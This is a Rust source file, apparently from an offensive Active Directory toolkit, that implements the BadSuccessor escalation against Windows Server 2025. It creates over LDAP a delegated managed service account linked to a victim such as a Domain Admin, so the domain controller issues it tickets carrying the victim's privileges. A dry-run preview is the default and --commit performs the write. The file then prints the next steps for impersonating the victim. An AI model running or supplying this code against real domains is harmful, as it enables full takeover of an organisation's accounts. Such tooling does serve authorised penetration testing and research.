1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
//! BadSuccessor (Server 2025 dMSA escalation) — create a delegated MSA that
//! points at a victim via `msDS-ManagedAccountPrecededByLink` with state=2
//! (Migrated). The 2025 KDC then issues TGTs to the dMSA carrying the victim's
//! PAC — full impersonation, no ACE on the victim, no password reset.
use anyhow::Result;
use clap::Parser;
#[derive(Parser)]
pub(crate) struct BadsuccessorArgs {
/// LDAP URL (LDAPS strongly preferred — the dMSA link is a privileged write)
#[arg(long)]
pub url: String,
#[arg(long)]
pub user: String,
#[arg(long, default_value = "")]
pub password: adhammer_core::SecretString,
#[arg(long)]
pub insecure: bool,
/// OU/container the attacker can create objects in (e.g. `OU=Servers,DC=corp,DC=local`).
/// Defaults to `CN=Managed Service Accounts` under the domain root.
#[arg(long)]
pub container: Option<String>,
/// Name to give the new dMSA (a `$`-suffixed sAMAccountName is appended).
#[arg(long)]
pub dmsa_name: String,
/// sAMAccountName of the account to succeed (typically a Domain Admin).
#[arg(long)]
pub target: String,
/// **Arm the write.** `badsuccessor` PREVIEWS by default: it prints the dMSA object it would
/// create (a privileged, victim-linked object on the DC) and returns without writing. Pass
/// `--commit` to actually create it.
#[arg(long)]
pub commit: bool,
}
/// `attack badsuccessor` — Akamai/Yuval Gordon 2025 dMSA escalation. Any principal that can
/// create a child object in *any* container can create a delegated MSA whose
/// `msDS-ManagedAccountPrecededByLink` points at a Domain Admin, and set
/// `msDS-DelegatedMSAState=2` (Migrated). The Server 2025 KDC then issues TGTs to the dMSA
/// carrying the *victim's* PAC — full impersonation, no ACE on the victim, no password reset.
///
/// LIVE VALIDATION OWED: the attack landed on Server 2025 GA; behaviour on later Cumulative
/// Updates may change. Run against the 2025 DC on your matrix and confirm the dMSA is
/// accepted (LDAP add succeeds) and issues a working TGT.
pub(crate) async fn badsuccessor(mut a: BadsuccessorArgs) -> Result<()> {
use adhammer_collector::{Collector, LdapConfig};
a.password = crate::resolve_secret(&a.password, "ADHAMMER_PASSWORD")?;
let cfg = LdapConfig {
url: a.url.clone(),
bind_dn: a.user.clone(),
password: a.password.clone(),
base_dn: None,
insecure: a.insecure,
gssapi: false,
allow_plaintext_bind: false,
};
let mut c = Collector::connect(&cfg).await?;
// ux-2: accept SID / sAMAccountName / DN via unified classifier.
let victim_dn = crate::target::to_dn(&mut c, &a.target).await?;
let base = c.base_dn().to_string();
let container = a
.container
.clone()
.unwrap_or_else(|| format!("CN=Managed Service Accounts,{base}"));
let name = a.dmsa_name.trim_end_matches('$');
let sam = format!("{name}$");
let dn = format!("CN={name},{container}");
// Derive DNS domain from base DN: "DC=testlab,DC=local" -> "testlab.local".
let dns_domain: String = base
.split(',')
.filter_map(|p| {
p.trim()
.strip_prefix("DC=")
.or_else(|| p.trim().strip_prefix("dc="))
})
.collect::<Vec<_>>()
.join(".");
let dns_host = format!("{name}.{dns_domain}");
// dMSA is a subclass of msDS-GroupManagedServiceAccount (structural, inherits from computer).
// Adding `computer`/`user`/`person` explicitly conflicts with the schema on Server 2025 —
// let the structural chain resolve them.
let attrs: Vec<(&str, Vec<Vec<u8>>)> = vec![
(
"objectClass",
vec![
b"top".to_vec(),
b"msDS-DelegatedManagedServiceAccount".to_vec(),
],
),
("sAMAccountName", vec![sam.as_bytes().to_vec()]),
("dNSHostName", vec![dns_host.as_bytes().to_vec()]),
// UAC = WORKSTATION_TRUST_ACCOUNT (0x1000).
("userAccountControl", vec![b"4096".to_vec()]),
// AES256 | AES128 | RC4 = 28 (minimum modern default).
("msDS-SupportedEncryptionTypes", vec![b"28".to_vec()]),
// Required by gMSA schema — 30 days is the default rotation.
("msDS-ManagedPasswordInterval", vec![b"30".to_vec()]),
// 2 = kMSA_MIGRATED — the "successor" state the KDC recognises.
("msDS-DelegatedMSAState", vec![b"2".to_vec()]),
// The victim link — the KDC issues the dMSA a TGT with THIS account's PAC.
(
"msDS-ManagedAccountPrecededByLink",
vec![victim_dn.as_bytes().to_vec()],
),
];
// Preview by default — this creates a privileged, victim-linked object on the DC.
if !a.commit {
crate::ui::note("preview only — no object created. Re-run with --commit to write.");
println!(
"[dry-run] would create dMSA {dn} \
(msDS-DelegatedMSAState=2, PrecededByLink → {victim_dn})"
);
return Ok(());
}
c.add_object(&dn, attrs).await?;
println!("[+] created dMSA {dn}");
println!(
" → succeeds {} (PAC of the victim is issued to {sam})",
a.target
);
println!(
" Next: request a TGT as {sam} and use it as if it were {}",
a.target
);
Ok(())
}